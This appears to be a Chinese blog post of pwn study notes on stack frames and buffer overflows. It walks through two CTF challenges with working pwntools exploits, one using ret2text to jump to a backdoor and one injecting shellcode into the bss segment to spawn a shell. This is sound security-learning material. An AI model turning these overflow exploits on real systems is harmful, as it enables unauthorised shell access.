# pwn 学习笔记(2)

# 1. 三种常见的寄存器:

​ ax 寄存器:通用寄存器,可用于存放多种数据

​ bp 寄存器:存放的是栈帧的栈底地址

​ sp 寄存器:存放的是栈顶的地址

# 2. 栈帧与栈工作的简介:

​ 栈帧是存储函数的一些信息的地方,栈帧存储有函数的局部变量,传递给子函数的实际参数,父函数的地址以及上一个栈帧栈底的地址,大致情况如下:

在这里插入图片描述

​ 在函数调用的过程中,首先会讲 bp 寄存器的值进行压栈,以方便在恢复的时候恢复栈底寄存器的值,再之后,会按顺序将局部变量压栈,最后是子函数的实际参数,会按照先入栈的后出栈,从最后一个实际参数先入栈再到第一个实际参数,比如函数 a (int a , int b),压栈的方式就是先压栈 b 的实际参数,再压栈 a 的实际参数,当这些压栈完成之后,就可以压栈父函数调用子函数的那条语句的下一条语句的地址,紧接着,可以压栈当前栈帧的栈底地址了。

​ 具体的汇编语言实现就不多做解释了,因为我这里只是简述。

# 3. 缓冲区溢出漏洞:

​ 缓冲区溢出楼哦对那个的本质就是向定长的缓冲区中写入了超长的数据,造成了写入的数据覆盖了其他合法的内存区域。

# 4. 栈溢出之–ret2text:

# (1)原理:

​ ret2text 应该是最简单的栈溢出漏洞利用的方式也是最简单的:

​ 假设,在栈中,存在如下情况:

在这里插入图片描述

其 C 程序源代码如下:

1
2
3
4
5
int overflow()
{
char buf[8];
gets(buf);
}

当程序运行到 gets 的时候,因为 gets 没有对用户输入的内容的长度进行限制,就导致了本来最多输入 8 字节的内容,结果输入了超过 8 字节的内容导致了溢出,覆盖掉了 bp 寄存器以及返回地址的值,如下:

在这里插入图片描述

​ 之后,可以通过如上的原理,将返回地址的值修改为程序自带的后门函数(如 system ("/bin/sh"))中即可。

# (2)题目示例–[NSSCTF 2022 Spring Recruit] R3m4ke?:

​ 拿到 ELF 文件之后第一步应该先检查相关的保护,因为保护这里还没有讲,所以这里拿到的是一个只开了 NX 保护的题目,该保护对这道题几乎没有什么影响。

在这里插入图片描述

​ 这里可以看出,这个文件是一个 64 位的小端序文件,所以这里使用 IDA 进行反编译:

在这里插入图片描述

​ 这里可以很直观的发现,该函数声明了一个 32 字节的变量,之后通过 gets () 函数来写入内容,但是却没有对长度进行相关的限制,因此存在溢出漏洞,这个时候就只需要找到后门函数的地址即可,之后通过 Sheft+F12,找到 /bin/sh 这个字符串,然后跟进,发现它存在于一个叫做 LookAtMe () 这个函数中,这里,也可以直接从函数视图中找到后门:

在这里插入图片描述

​ 这里可以找到后门函数的地址,及 0x40072C,因此,这里就可以编写 exp,如下

1
2
3
4
5
from pwn import *
io = remote("node4.anna.nssctf.cn",28043)
payload = b"a"*0x28 + p64(0x40072C)
io.sendline(payload)
io.interactive()

​ 运行代码之后成功拿到了目标主机的 shell:

在这里插入图片描述

# 5. 栈溢出之–ret2shellcode:

# (1)原理:

​ 该方法原理与 ret2shellcode 类似,只是,原本存在的后门没有了,但是给了足够的可写入的地方于用户写入 shellcode 代码,这里前期存在两种方法写入 shellcode,第一种是写入 Stack 中,第二种是写入 bss 段,准确地说,必须当一个段中存在可写可执行的权限时才能进行 ret2shellcode。

​ 步骤大致是,首先修改下一些配置信息,比如 context.arch,当程序时 64 位时,应该讲此修改为 amd64;之后,让 python 程序自动生成一个 shellcode 或者去相应的地方找,python 的相关代码是:shellcraft [.amd64].sh ();之后通过 asm () 函数将生成的 shllcode 编译成机器码;然后就是发送相关的垃圾数据之类的进行后续操作。

# (2)题目案例–[HNCTF 2022 Week1] ret2shellcode

​ 先查看它的保护类型:

在这里插入图片描述

发现跟上一个一致,这里可以简单说下 NX 保护,NX 保护是栈不可执行,开启了这个保护之后,在栈上写入的 shellcode 将不会因为我们修改的 return address 的值而执行,因此,我们可以把目标放到 bss 段上,不过,首先还是得确保 bss 段是否存在可执行权限。

​ 对于这道题,首先应该反编译,得到伪代码:

在这里插入图片描述

我们可以发现,在 main 函数中,这里并没有生命 buff 变量, 但是这里却可以直接使用,说明 buff 是在全局变量中进行的声明,因此这里跟进这个变量,发现其在 bss 段中:

在这里插入图片描述

另外,通过 pwndbg 的 vmmap 命令可以知道这段内存存在可执行的权限:

在这里插入图片描述

因此,这个题目的思路就很明了了,首先是程序的分析,通过写入字符串给 s,然后将 s 的内容复制给 buff,限制的 s 的写入长度长于 256 字节,因此存在缓冲区溢出漏洞,这里就很明了了,代码如下:

1
2
3
4
5
6
7
8
from pwn import *
io = remote("node5.anna.nssctf.cn",28172)
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
buff = 0x4040A0
payload = shellcode.ljust(0x108,b'A') + p64(buff)
io.sendline(payload)
io.interactive()

最后成功拿到目标 shell:

在这里插入图片描述

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝